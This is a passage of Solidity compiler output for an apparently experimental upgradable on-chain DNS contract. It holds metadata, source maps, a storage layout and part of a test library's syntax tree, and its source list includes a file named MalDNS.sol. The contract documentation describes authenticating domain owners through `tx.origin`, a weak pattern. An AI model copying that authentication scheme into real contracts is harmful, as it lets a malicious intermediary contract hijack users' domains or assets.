":[{\"internalType\":\"contract Upgrade\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"register(string,bytes4,address)\":{\"params\":{\"_domain\":\"New domain to be registered.\",\"_ip\":\"Ip the domain should point to.\",\"_owner\":\"Owner of the newly registered domain.\"}},\"resolve(string)\":{\"returns\":{\"_0\":\"The IP that _domain points to and the owner.\"}},\"transfer(string,address)\":{\"params\":{\"_domain\":\"Domain to be transferred.\",\"_owner\":\"New owner.\"}},\"update(string,bytes4)\":{\"params\":{\"_domain\":\"Domain to be updated.\",\"_ip\":\"New ip that the domain should point to.\"}}},\"title\":\"Example of an upgraded implementation of a DNS.\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"register(string,bytes4,address)\":{\"notice\":\"Registers a new domain. Domain must be currently unused.\"},\"transfer(string,address)\":{\"notice\":\"Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\"},\"update(string,bytes4)\":{\"notice\":\"Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\"}},\"notice\":\"As suggested by DNS.sol, the functions of this contract check whether msg.sender == tx.origin or msg.sender is the original DNS contract or msg.sender is an upgrade that the user trusted at some point. for authentication. The idea is that 1. the user either called this contract directly (direct authentication via msg.sender) or 2. the call was relayed by the original DNS contract (authentication was performed there) or 3. the call was relayed by another upgrade that the entry owner trusted.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/UpgradedDNS.sol\":\"UpgradedDNS\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"src/IDNS.sol\":{\"keccak256\":\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\",\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\"]},\"src/Upgrade.sol\":{\"keccak256\":\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\",\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\"]},\"src/UpgradedDNS.sol\":{\"keccak256\":\"0x9bab7b3cf0953af729edfbf418aeeefc0428235ba94c0c3cd68ea0740f1200dc\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://df8d1be1d8fd3d4ab81593055e75ccbe57406c8574e8351983cfe55f20bf9fed\",\"dweb:/ipfs/QmTYsSXKfFNb68FbRJmgp6Sgcsn8BQuGQCKs6LJs2c1Swd\"]}},\"version\":1}","srcmap":"744:2018:7:-:0;;;886:102;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;947:4;928:24;;;;;;;;;;;;978:5;956:28;;;;;;;;;;;;886:102;;744:2018;;7:169:8;;108:6;102:13;93:22;;124:46;164:5;124:46;:::i;:::-;83:93;;;;:::o;182:175::-;;286:6;280:13;271:22;;302:49;345:5;302:49;:::i;:::-;261:96;;;;:::o;363:494::-;;;528:2;516:9;507:7;503:23;499:32;496:2;;;544:1;541;534:12;496:2;586:1;610:77;679:7;670:6;659:9;655:22;610:77;:::i;:::-;600:87;;558:139;735:2;760:80;832:7;823:6;812:9;808:22;760:80;:::i;:::-;750:90;;707:143;486:371;;;;;:::o;863:96::-;;929:24;947:5;929:24;:::i;:::-;918:35;;908:51;;;:::o;965:109::-;;1044:24;1062:5;1044:24;:::i;:::-;1033:35;;1023:51;;;:::o;1080:112::-;;1162:24;1180:5;1162:24;:::i;:::-;1151:35;;1141:51;;;:::o;1198:126::-;;1275:42;1268:5;1264:54;1253:65;;1243:81;;;:::o;1330:148::-;1416:37;1447:5;1416:37;:::i;:::-;1409:5;1406:48;1396:2;;1468:1;1465;1458:12;1396:2;1386:92;:::o;1484:154::-;1573:40;1607:5;1573:40;:::i;:::-;1566:5;1563:51;1553:2;;1628:1;1625;1618:12;1553:2;1543:95;:::o;744:2018:7:-;;;;;;;;;;;;;;;;;","srcmap-runtime":"744:2018:7:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;846:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2617:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;991:347;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;810:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1341:479;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1823:506;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;846:36;;;:::o;2617:143::-;2689:6;2697:7;2718:4;2723:7;2718:13;;;;;;:::i;:::-;;;;;;;;;;;;;:16;;;;;;;;;;;;2736:4;2741:7;2736:13;;;;;;:::i;:::-;;;;;;;;;;;;;:19;;;;;;;;;;;;2710:46;;;;2617:143;;;:::o;991:347::-;1097:1;1090:8;;:3;:8;;;;;1082:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;1150:1;1132:7;1126:21;:25;1118:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;1176:19;1198:4;1203:7;1198:13;;;;;;:::i;:::-;;;;;;;;;;;;;1176:35;;1235:1;1223:13;;:5;:8;;;;;;;;;;;;:13;;;;:42;;;;;1263:1;1240:25;;:5;:11;;;;;;;;;;;;:25;;;1223:42;1215:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;1307:3;1296:5;:8;;;:14;;;;;;;;;;;;;;;;;;1328:6;1314:5;:11;;;:20;;;;;;;;;;;;;;;;;;991:347;;;;:::o;810:33::-;;;:::o;1341:479::-;1414:19;1436:4;1441:7;1436:13;;;;;;:::i;:::-;;;;;;;;;;;;;1414:35;;1648:9;1634:23;;:10;:23;;;:52;;;;;1676:10;1661:25;;:5;:11;;;;;;;;;;;;:25;;;1634:52;1633:103;;;;1691:45;1712:10;1724:5;:11;;;;;;;;;;;;1691:20;:45::i;:::-;1633:103;1621:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;1781:1;1774:8;;:3;:8;;;;;1766:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;1813:3;1802:5;:8;;;:14;;;;;;;;;;;;;;;;;;1341:479;;;:::o;1823:506::-;1902:19;1924:4;1929:7;1924:13;;;;;;:::i;:::-;;;;;;;;;;;;;1902:35;;2136:9;2122:23;;:10;:23;;;:52;;;;;2164:10;2149:25;;:5;:11;;;;;;;;;;;;:25;;;2122:52;2121:103;;;;2179:45;2200:10;2212:5;:11;;;;;;;;;;;;2179:20;:45::i;:::-;2121:103;2109:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;2280:1;2262:20;;:6;:20;;;;2254:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;2319:6;2305:5;:11;;;:20;;;;;;;;;;;;;;;;;;1823:506;;;:::o;2332:282::-;2421:4;2452:11;2435:29;;:5;:29;;;2431:114;;;2541:4;2534:11;;;;2431:114;2556:11;:28;;;2590:5;2598:11;2556:54;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2549:61;;2332:282;;;;;:::o;7:139:8:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;237:6;231:13;222:22;;253:30;277:5;253:30;:::i;:::-;212:77;;;;:::o;295:137::-;;378:6;365:20;356:29;;394:32;420:5;394:32;:::i;:::-;346:86;;;;:::o;438:466::-;;543:3;536:4;528:6;524:17;520:27;510:2;;561:1;558;551:12;510:2;601:6;588:20;626:65;641:49;683:6;641:49;:::i;:::-;626:65;:::i;:::-;617:74;;714:6;707:5;700:21;753:4;745:6;741:17;789:4;782:5;778:16;827:3;818:6;813:3;809:16;806:25;803:2;;;844:1;841;834:12;803:2;857:41;891:6;886:3;881;857:41;:::i;:::-;500:404;;;;;;;:::o;910:276::-;;1026:2;1014:9;1005:7;1001:23;997:32;994:2;;;1042:1;1039;1032:12;994:2;1084:1;1108:61;1161:7;1152:6;1141:9;1137:22;1108:61;:::i;:::-;1098:71;;1056:123;984:202;;;;:::o;1192:373::-;;1310:2;1298:9;1289:7;1285:23;1281:32;1278:2;;;1326:1;1323;1316:12;1278:2;1396:1;1385:9;1381:17;1368:31;1426:18;1418:6;1415:30;1412:2;;;1458:1;1455;1448:12;1412:2;1485:63;1540:7;1531:6;1520:9;1516:22;1485:63;:::i;:::-;1475:73;;1340:218;1268:297;;;;:::o;1571:516::-;;;1706:2;1694:9;1685:7;1681:23;1677:32;1674:2;;;1722:1;1719;1712:12;1674:2;1792:1;1781:9;1777:17;1764:31;1822:18;1814:6;1811:30;1808:2;;;1854:1;1851;1844:12;1808:2;1881:63;1936:7;1927:6;1916:9;1912:22;1881:63;:::i;:::-;1871:73;;1736:218;1992:2;2017:53;2062:7;2053:6;2042:9;2038:22;2017:53;:::i;:::-;2007:63;;1964:116;1664:423;;;;;:::o;2093:514::-;;;2227:2;2215:9;2206:7;2202:23;2198:32;2195:2;;;2243:1;2240;2233:12;2195:2;2313:1;2302:9;2298:17;2285:31;2343:18;2335:6;2332:30;2329:2;;;2375:1;2372;2365:12;2329:2;2402:63;2457:7;2448:6;2437:9;2433:22;2402:63;:::i;:::-;2392:73;;2257:218;2513:2;2538:52;2582:7;2573:6;2562:9;2558:22;2538:52;:::i;:::-;2528:62;;2485:115;2185:422;;;;;:::o;2613:657::-;;;;2764:2;2752:9;2743:7;2739:23;2735:32;2732:2;;;2780:1;2777;2770:12;2732:2;2850:1;2839:9;2835:17;2822:31;2880:18;2872:6;2869:30;2866:2;;;2912:1;2909;2902:12;2866:2;2939:63;2994:7;2985:6;2974:9;2970:22;2939:63;:::i;:::-;2929:73;;2794:218;3050:2;3075:52;3119:7;3110:6;3099:9;3095:22;3075:52;:::i;:::-;3065:62;;3022:115;3175:2;3200:53;3245:7;3236:6;3225:9;3221:22;3200:53;:::i;:::-;3190:63;;3147:116;2722:548;;;;;:::o;3276:118::-;3363:24;3381:5;3363:24;:::i;:::-;3358:3;3351:37;3341:53;;:::o;3400:115::-;3485:23;3502:5;3485:23;:::i;:::-;3480:3;3473:36;3463:52;;:::o;3521:157::-;3621:50;3665:5;3621:50;:::i;:::-;3616:3;3609:63;3599:79;;:::o;3684:163::-;3787:53;3834:5;3787:53;:::i;:::-;3782:3;3775:66;3765:82;;:::o;3853:377::-;;3987:39;4020:5;3987:39;:::i;:::-;4042:89;4124:6;4119:3;4042:89;:::i;:::-;4035:96;;4140:52;4185:6;4180:3;4173:4;4166:5;4162:16;4140:52;:::i;:::-;4217:6;4212:3;4208:16;4201:23;;3963:267;;;;;:::o;4236:313::-;;4399:67;4463:2;4458:3;4399:67;:::i;:::-;4392:74;;4496:17;4492:1;4487:3;4483:11;4476:38;4540:2;4535:3;4531:12;4524:19;;4382:167;;;:::o;4555:312::-;;4718:67;4782:2;4777:3;4718:67;:::i;:::-;4711:74;;4815:16;4811:1;4806:3;4802:11;4795:37;4858:2;4853:3;4849:12;4842:19;;4701:166;;;:::o;4873:309::-;;5036:67;5100:2;5095:3;5036:67;:::i;:::-;5029:74;;5133:13;5129:1;5124:3;5120:11;5113:34;5173:2;5168:3;5164:12;5157:19;;5019:163;;;:::o;5188:319::-;;5351:67;5415:2;5410:3;5351:67;:::i;:::-;5344:74;;5448:23;5444:1;5439:3;5435:11;5428:44;5498:2;5493:3;5489:12;5482:19;;5334:173;;;:::o;5513:312::-;;5676:67;5740:2;5735:3;5676:67;:::i;:::-;5669:74;;5773:16;5769:1;5764:3;5760:11;5753:37;5816:2;5811:3;5807:12;5800:19;;5659:166;;;:::o;5831:275::-;;5985:95;6076:3;6067:6;5985:95;:::i;:::-;5978:102;;6097:3;6090:10;;5967:139;;;;:::o;6112:328::-;;6269:2;6258:9;6254:18;6246:26;;6282:69;6348:1;6337:9;6333:17;6324:6;6282:69;:::i;:::-;6361:72;6429:2;6418:9;6414:18;6405:6;6361:72;:::i;:::-;6236:204;;;;;:::o;6446:248::-;;6590:2;6579:9;6575:18;6567:26;;6603:84;6684:1;6673:9;6669:17;6660:6;6603:84;:::i;:::-;6557:137;;;;:::o;6700:358::-;;6872:2;6861:9;6857:18;6849:26;;6885:84;6966:1;6955:9;6951:17;6942:6;6885:84;:::i;:::-;6979:72;7047:2;7036:9;7032:18;7023:6;6979:72;:::i;:::-;6839:219;;;;;:::o;7064:254::-;;7211:2;7200:9;7196:18;7188:26;;7224:87;7308:1;7297:9;7293:17;7284:6;7224:87;:::i;:::-;7178:140;;;;:::o;7324:419::-;;7528:2;7517:9;7513:18;7505:26;;7577:9;7571:4;7567:20;7563:1;7552:9;7548:17;7541:47;7605:131;7731:4;7605:131;:::i;:::-;7597:139;;7495:248;;;:::o;7749:419::-;;7953:2;7942:9;7938:18;7930:26;;8002:9;7996:4;7992:20;7988:1;7977:9;7973:17;7966:47;8030:131;8156:4;8030:131;:::i;:::-;8022:139;;7920:248;;;:::o;8174:419::-;;8378:2;8367:9;8363:18;8355:26;;8427:9;8421:4;8417:20;8413:1;8402:9;8398:17;8391:47;8455:131;8581:4;8455:131;:::i;:::-;8447:139;;8345:248;;;:::o;8599:419::-;;8803:2;8792:9;8788:18;8780:26;;8852:9;8846:4;8842:20;8838:1;8827:9;8823:17;8816:47;8880:131;9006:4;8880:131;:::i;:::-;8872:139;;8770:248;;;:::o;9024:419::-;;9228:2;9217:9;9213:18;9205:26;;9277:9;9271:4;9267:20;9263:1;9252:9;9248:17;9241:47;9305:131;9431:4;9305:131;:::i;:::-;9297:139;;9195:248;;;:::o;9449:278::-;;9515:2;9509:9;9499:19;;9557:4;9549:6;9545:17;9664:6;9652:10;9649:22;9628:18;9616:10;9613:34;9610:62;9607:2;;;9675:13;;:::i;:::-;9607:2;9710:10;9706:2;9699:22;9489:238;;;;:::o;9733:327::-;;9885:18;9877:6;9874:30;9871:2;;;9907:13;;:::i;:::-;9871:2;9987:4;9983:9;9976:4;9968:6;9964:17;9960:33;9952:41;;10048:4;10042;10038:15;10030:23;;9800:260;;;:::o;10066:99::-;;10152:5;10146:12;10136:22;;10125:40;;;:::o;10171:169::-;;10289:6;10284:3;10277:19;10329:4;10324:3;10320:14;10305:29;;10267:73;;;;:::o;10346:148::-;;10485:3;10470:18;;10460:34;;;;:::o;10500:96::-;;10566:24;10584:5;10566:24;:::i;:::-;10555:35;;10545:51;;;:::o;10602:90::-;;10679:5;10672:13;10665:21;10654:32;;10644:48;;;:::o;10698:149::-;;10774:66;10767:5;10763:78;10752:89;;10742:105;;;:::o;10853:126::-;;10930:42;10923:5;10919:54;10908:65;;10898:81;;;:::o;10985:152::-;;11081:50;11125:5;11081:50;:::i;:::-;11068:63;;11058:79;;;:::o;11143:126::-;;11239:24;11257:5;11239:24;:::i;:::-;11226:37;;11216:53;;;:::o;11275:158::-;;11374:53;11421:5;11374:53;:::i;:::-;11361:66;;11351:82;;;:::o;11439:129::-;;11538:24;11556:5;11538:24;:::i;:::-;11525:37;;11515:53;;;:::o;11574:154::-;11658:6;11653:3;11648;11635:30;11720:1;11711:6;11706:3;11702:16;11695:27;11625:103;;;:::o;11734:307::-;11802:1;11812:113;11826:6;11823:1;11820:13;11812:113;;;11911:1;11906:3;11902:11;11896:18;11892:1;11887:3;11883:11;11876:39;11848:2;11845:1;11841:10;11836:15;;11812:113;;;11943:6;11940:1;11937:13;11934:2;;;12023:1;12014:6;12009:3;12005:16;11998:27;11934:2;11783:258;;;;:::o;12047:48::-;12080:9;12101:122;12174:24;12192:5;12174:24;:::i;:::-;12167:5;12164:35;12154:2;;12213:1;12210;12203:12;12154:2;12144:79;:::o;12229:116::-;12299:21;12314:5;12299:21;:::i;:::-;12292:5;12289:32;12279:2;;12335:1;12332;12325:12;12279:2;12269:76;:::o;12351:120::-;12423:23;12440:5;12423:23;:::i;:::-;12416:5;12413:34;12403:2;;12461:1;12458;12451:12;12403:2;12393:78;:::o","storage-layout":"{\"storage\":[{\"astId\":2062,\"contract\":\"src/UpgradedDNS.sol:UpgradedDNS\",\"label\":\"data\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\"}],\"types\":{\"t_address\":{\"encoding\":\"inplace\",\"label\":\"address\",\"numberOfBytes\":\"20\"},\"t_bytes4\":{\"encoding\":\"inplace\",\"label\":\"bytes4\",\"numberOfBytes\":\"4\"},\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\":{\"encoding\":\"mapping\",\"key\":\"t_string_memory_ptr\",\"label\":\"mapping(string => struct IDNS.Entry)\",\"numberOfBytes\":\"32\",\"value\":\"t_struct(Entry)1425_storage\"},\"t_string_memory_ptr\":{\"encoding\":\"bytes\",\"label\":\"string\",\"numberOfBytes\":\"32\"},\"t_struct(Entry)1425_storage\":{\"encoding\":\"inplace\",\"label\":\"struct IDNS.Entry\",\"members\":[{\"astId\":1422,\"contract\":\"src/UpgradedDNS.sol:UpgradedDNS\",\"label\":\"ip\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_bytes4\"},{\"astId\":1424,\"contract\":\"src/UpgradedDNS.sol:UpgradedDNS\",\"label\":\"owner\",\"offset\":4,\"slot\":\"0\",\"type\":\"t_address\"}],\"numberOfBytes\":\"32\"}}}"}},"sourceList":["lib/ds-test/src/test.sol","src/DNS.sol","src/DNSTest.t.sol","src/HEVMCheat.sol","src/IDNS.sol","src/MalDNS.sol","src/Upgrade.sol","src/UpgradedDNS.sol"],"sources":{"lib/ds-test/src/test.sol":{"AST":{"attributes":{"absolutePath":"lib/ds-test/src/test.sol","exportedSymbols":{"DSTest":[2747]},"license":"GPL-v3"},"children":[{"attributes":{"literals":["solidity","^","0.7",".0"]},"id":2305,"name":"PragmaDirective","src":"679:23:0"},{"attributes":{"abstract":true,"baseContracts":[null],"contractDependencies":[null],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[2747],"name":"DSTest","scope":2748},"children":[{"attributes":{"anonymous":false,"name":"eventListener"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"target","scope":2311,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2306,"name":"ElementaryTypeName","src":"765:7:0"}],"id":2307,"name":"VariableDeclaration","src":"765:14:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"exact","scope":2311,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":2308,"name":"ElementaryTypeName","src":"781:4:0"}],"id":2309,"name":"VariableDeclaration","src":"781:10:0"}],"id":2310,"name":"ParameterList","src":"764:28:0"}],"id":2311,"name":"EventDefinition","src":"735:58:0"},{"attributes":{"anonymous":false,"name":"logs"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"","scope":2315,"stateVariable":false,"storageLocation":"default","type":"bytes","visibility":"internal"},"children":[{"attributes":{"name":"bytes","type":"bytes"},"id":2312,"name":"ElementaryTypeName","src":"828:5:0"}],"id":2313,"name":"VariableDeclaration","src":"828:5:0"}],"id":2314,"name":"ParameterList","src":"827:7:0"}],"id":2315,"name":"EventDefinition","src":"798:37:0"},{"attributes":{"anonymous":false,"name":"log_bytes32"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"","scope":2319,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2316,"name":"ElementaryTypeName","src":"870:7:0"}],"id":2317,"name":"VariableDeclaration","src":"870:7:0"}],"id":2318,"name":"ParameterList","src":"869:9:0"}],"id":2319,"name":"EventDefinition","src":"840:39:0"},{"attributes":{"anonymous":false,"name":"log_named_address"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"key","scope":2325,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2320,"name":"ElementaryTypeName","src":"914:7:0"}],"id":2321,"name":"VariableDeclaration","src":"914:11:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"val","scope":2325,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2322,"name":"ElementaryTypeName","src":"927:7:0"}],"id":2323,"name":"VariableDeclaration","src":"927:11:0"}],"id":2324,"name":"ParameterList","src":"913:26:0"}],"id":2325,"name":"EventDefinition","src":"884:56:0"},{"attributes":{"anonymous":false,"name":"log_named_bytes32"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"key","scope":2331,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2326,"name":"ElementaryTypeName","src":"975:7:0"}],"id":2327,"name":"VariableDeclaration","src":"975:11:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"val","scope":2331,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2328,"name":"ElementaryTypeName","src":"988:7:0"}],"id":2329,"name":"VariableDeclaration","src":"988:11:0"}],"id":2330,"name":"ParameterList","src":"974:26:0"}],"id":2331,"name":"EventDefinition","src":"945:56:0"},{"attributes":{"anonymous":false,"name":"log_named_decimal_int"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"key","scope":2339,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2332,"name":"ElementaryTypeName","src":"1036:7:0"}],"id":2333,"name":"VariableDeclaration","src":"1036:11:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"val","scope":2339,"stateVariable":false,"storageLocation":"default","type":"int256","visibility":"internal"},"children":[{"attributes":{"name":"int","type":"int256"},"id":2334,"name":"ElementaryTypeName","src":"1049:3:0"}],"id":2335,"name":"VariableDeclaration","src":"1049:7:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"decimals","scope":2339,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2336,"name":"ElementaryTypeName","src":"1058:4:0"}],"id":2337,"name":"VariableDeclaration","src":"1058:13:0"}],"id":2338,"name":"ParameterList","src":"1035:37:0"}],"id":2339,"name":"EventDefinition","src":"1006:67:0"},{"attributes":{"anonymous":false,"name":"log_named_decimal_uint"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"key","scope":2347,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2340,"name":"ElementaryTypeName","src":"1108:7:0"}],"id":2341,"name":"VariableDeclaration","src":"1108:11:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"val","scope":2347,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2342,"name":"ElementaryTypeName","src":"1121:4:0"}],"id":2343,"name":"VariableDeclaration","src":"1121:8:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"decimals","scope":2347,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2344,"name":"ElementaryTypeName","src":"1131:4:0"}],"id":2345,"name":"VariableDeclaration","src":"1131:13:0"}],"id":2346,"name":"ParameterList","src":"1107:38:0"}],"id":2347,"name":"EventDefinition","src":"1078:68:0"},{"attributes":{"anonymous":false,"name":"log_named_int"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"key","scope":2353,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2348,"name":"ElementaryTypeName","src":"1181:7:0"}],"id":2349,"name":"VariableDeclaration","src":"1181:11:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"val","scope":2353,"stateVariable":false,"storageLocation":"default","type":"int256","visibility":"internal"},"children":[{"attributes":{"name":"int","type":"int256"},"id":2350,"name":"ElementaryTypeName","src":"1194:3:0"}],"id":2351,"name":"VariableDeclaration","src":"1194:7:0"}],"id":2352,"name":"ParameterList","src":"1180:22:0"}],"id":2353,"name":"EventDefinition","src":"1151:52:0"},{"attributes":{"anonymous":false,"name":"log_named_uint"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"key","scope":2359,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2354,"name":"ElementaryTypeName","src":"1238:7:0"}],"id":2355,"name":"VariableDeclaration","src":"1238:11:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"val","scope":2359,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2356,"name":"ElementaryTypeName","src":"1251:4:0"}],"id":2357,"name":"VariableDeclaration","src":"1251:8:0"}],"id":2358,"name":"ParameterList","src":"1237:23:0"}],"id":2359,"name":"EventDefinition","src":"1208:53:0"},{"attributes":{"anonymous":false,"name":"log_named_string"},"children":[{"children":[{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"key","scope":2365,"stateVariable":false,"storageLocation":"default","type":"bytes32","visibility":"internal"},"children":[{"attributes":{"name":"bytes32","type":"bytes32"},"id":2360,"name":"ElementaryTypeName","src":"1296:7:0"}],"id":2361,"name":"VariableDeclaration","src":"1296:11:0"},{"attributes":{"constant":false,"indexed":false,"mutability":"mutable","name":"val","scope":2365,"stateVariable":false,"storageLocation":"default","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":2362,"name":"ElementaryTypeName","src":"1309:6:0"}],"id":2363,"name":"VariableDeclaration","src":"1309:10:0"}],"id":2364,"name":"ParameterList","src":"1295:25:0"}],"id":2365,"name":"EventDefinition","src":"1266:55:0"},{"attributes":{"constant":false,"functionSelector":"fa7626d4","mutability":"mutable","name":"IS_TEST","scope":2747,"stateVariable":true,"storageLocation":"default","type":"bool","visibility":"public"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":2366,"name":"ElementaryTypeName","src":"1327:4:0"}],"id":2367,"name":"VariableDeclaration","src":"1327:19:0"},{"attributes":{"constant":false,"functionSelector":"ba414fa6","mutability":"mutable","name":"failed","scope":2747,"stateVariable":true,"storageLocation":"default","type":"bool","visibility":"public"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":2368,"name":"ElementaryTypeName","src":"1352:4:0"}],"id":2369,"name":"VariableDeclaration","src":"1352:18:0"},{"attributes":{"implemented":true,"isConstructor":true,"kind":"constructor","modifiers":[null],"name":"","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":2370,"name":"ParameterList","src":"1388:2:0"},{"attributes":{"parameters":[null]},"children":[],"id":2371,"name":"ParameterList","src":"1391:0:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2367,"type":"bool","value":"IS_TEST"},"id":2372,"name":"Identifier","src":"1401:7:0"},{"attributes":{"hexvalue":"74727565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"true"},"id":2373,"name":"Literal","src":"1411:4:0"}],"id":2374,"name":"Assignment","src":"1401:14:0"}],"id":2375,"name":"ExpressionStatement","src":"1401:14:0"}],"id":2376,"name":"Block","src":"1391:31:0"}],"id":2377,"name":"FunctionDefinition","src":"1377:45:0"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"fail","scope":2747,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":2378,"name":"ParameterList","src":"1441:2:0"},{"attributes":{"parameters":[null]},"children":[],"id":2379,"name":"ParameterList","src":"1453:0:0"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2369,"type":"bool","value":"failed"},"id":2380,"name":"Identifier","src":"1463:6:0"},{"attributes":{"hexvalue":"74727565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"true"},"id":2381,"name":"Literal","src":"1472:4:0"}],"id":2382,"name":"Assignment","src":"1463:13:0"}],"id":2383,"name":"ExpressionStatement","src":"1463:13:0"}],"id":2384,"name":"Block","src":"1453:30:0"}],"id":2385,"name":"FunctionDefinition","src":"1428:55:0